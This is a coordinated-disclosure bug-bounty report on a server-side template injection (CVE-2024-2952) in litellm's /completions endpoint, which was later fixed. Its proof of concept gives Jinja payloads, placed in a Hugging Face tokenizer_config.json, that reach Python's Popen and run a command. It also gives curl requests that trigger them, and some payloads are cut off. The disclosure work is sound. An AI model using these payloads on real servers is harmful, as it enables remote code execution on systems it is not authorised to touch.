

Server-Side Template Injection in /completions endpoint in berriai/litellm

✓ Valid

Reported on Feb 8th 2024

Description

The `hf_chat_template` method takes the `chat_template` parameter from the `tokenizer_config.json` file in a Hugging Face model and processes it through the Jinja template engine, making it vulnerable to attacks.

The vulnerability occurs in the `completion` method through the `/completions` endpoint.

Proof of Concept

Start litellm server with `litellm --debug` command.

Go to huggingface.co to create a new model and create a file named `tokenizer_config.json`.

In SSTI vulnerability, since we cannot directly invoke the desired method, we select a class from subclasses and carry out the attack through this class.

Firstly we need find Popen class in subclasses. The following payload can be used for this. This will return the index number of the Popen class. To see its output, you will need to check the 'litellm' console. All index numbers can be found by trial and error, we obtain the index number from the console only to facilitate the proof of concept steps

```
{% set ci = namespace(i=0) %}{% for c in (__class__.__base__.__subclasses__()) %}{%
```

tokenizer_config.json :

```
{
  "bos_token": "",
  "eos_token": "",
  "chat_template": "{% set ci = namespace(i=0) %}{% for c in (__class__.__base__.__subclasses__()) %}{%
}
```

Then add the username and model name of the model you created to the payload below and execute the command.

```
curl -X 'POST' \
  'http://localhost:8000/completions' \
  -H 'accept: application/json' \
  -d '{"model": "huggingface/<user_name>/<model_name>", "prompt": "hi"}'
```

Replace the index number you obtained in the payload below and replace the `chat_template` field in the Hugging Face model with this payload.

```
{{{().__class__.__base__.__subclasses__()[389](['touch', '/tmp/1337'])}}}
```

tokenizer_config.json :

```
{
  "bos_token": "",
  "eos_token": "",
  "chat_template": "{{{().__class__.__base__.__subclasses__()[389](['touch', '/tmp/1337'])}}}"
}
```

Then add the username and model name of the model you created to the payload below and execute the command.

```
curl -X 'POST' \
  'http://localhost:8000/completions' \
  -H 'accept: application/json' \
  -d '{"model": "huggingface/<user_name>/<model_name>", "prompt": "hi"}'
```

You will see that the file `/tmp/1337` is created

Impact

Allows the attacker to execute malicious code, gaining full control over the system.

- ⚙️ We are processing your report and will contact the **berriai/litellm** team within 24 hours. 2 years ago
- ✉️ We have contacted a member of the **berriai/litellm** team and are waiting to hear back 2 years ago
- ✉️ We have sent a follow up to the **berriai/litellm** team. We will try again in 4 days. 2 years ago
- ✉️ We have sent a second follow up to the **berriai/litellm** team. We will try again in 7 days. 2 years ago



Dan McInerney commented 2 years ago

Admin

It doesn't appear to be the case, but is the `--debug` flag necessary for exploitation? If it is, we wouldn't consider this a valid vulnerability as using a library in debug mode necessarily

removes many security restrictions.



mvlttt commented 2 years ago

Researcher

Hi, No, as I mentioned in the report, it is not necessary. If you do not want to use the --debug flag, use the following config file:

```
{
  "bos_token": "1",
  "eos_token": "1",
  "chat_template": "{% for c in ().__class__.__base__.__subclasses__()%}{% if c.__name__=='Popen' %}
}
```

```
curl -X 'POST' \
  'http://localhost:8000/completions' \
  -H 'accept: application/json' \
  -d '{"model": "huggingface/<user_name>/<model_name>", "prompt": "hi"}'
```

In this way, the entire exploitation process takes place with a single request. The --debug flag was used in the report only to better understand the vulnerability and to obtain the index value of the popen class.

✉ We have sent a third follow up to the **berriai/litellm** team. We will try again in 14 days. 2 years ago

✉ We have sent a fourth follow up to the **berriai/litellm** team. We will send a final notification 48 hours before report publication. 2 years ago

⚠ We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



Marcello commented 2 years ago

Admin

Hey mvlttt, we're a bit behind on this one apologies. What version of litellm did you use for this? I'm using version 1.34.1 and can't seem to reproduce this.



mvlttt commented 2 years ago

Researcher

Hi @byt3bl33d3r ,As I mentioned in the report, I did this test with version 1.23.2, but we can also exploit the new version as follows:

```
$ curl -X 'POST' 'http://localhost:4000/completions' -H 'accept: application/json' -H "Authorization: Bearer <token>" -d '{"model": "huggingface/<user_name>/<model_name>", "prompt": "hi"}'
```

We just need a valid huggingface token, this can be from any repo.

 **Marcello** modified the Severity from Critical (10) to High (8.8) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

  **Marcello** validated this vulnerability 2 years ago

\$ **mvlttt** has been awarded the disclosure bounty 

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 **CVE-2024-2952** assigned to this report. 2 years ago

 **Marcello** commented 2 years ago Admin

Was able to validate it. Thank you!

 **mvlttt** commented 2 years ago Researcher

Hi @byt3bl33d3r , I don't understand why you changed it to 'User interaction Required' in the CVSS calculation. This report does not require user interaction.

 **Marcello** modified the Severity from High (8.8) to Critical (9.8) 2 years ago

 **Marcello** commented 2 years ago Admin

After discussing this with @mvlttt on Discord, changed User Interaction back to None.

Thanks!

 **CVE-2024-2952** has now been published 2 years ago

Ishaan Jaff commented 2 years ago Maintainer

Hi we've put up a PR to fix this on LiteLLM: <https://github.com/BerriAI/litellm/pull/2941>.
@marcello @mvlttt

 **Ishaan Jaff** marked this as fixed in **1.34.42** with commit **8a1cdc** 2 years ago

\$ **Ishaan Jaff** has been awarded the fix bounty 

CVE
CVE-2024-2952
Published

Vulnerability Type
CWE-76: Improper Neutralization of Equivalent Special Elements

Severity

Critical (9.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
1.23.2

Visibility
Public

Status
Fixed

Disclosure Bounty
\$1500

Fix Bounty
\$375

Found by



mvlttt

@mvlttt

MIDDLEWEIGHT



Fixed by



Ishaan Jaff

@ishaan-jaff

UNPROVEN



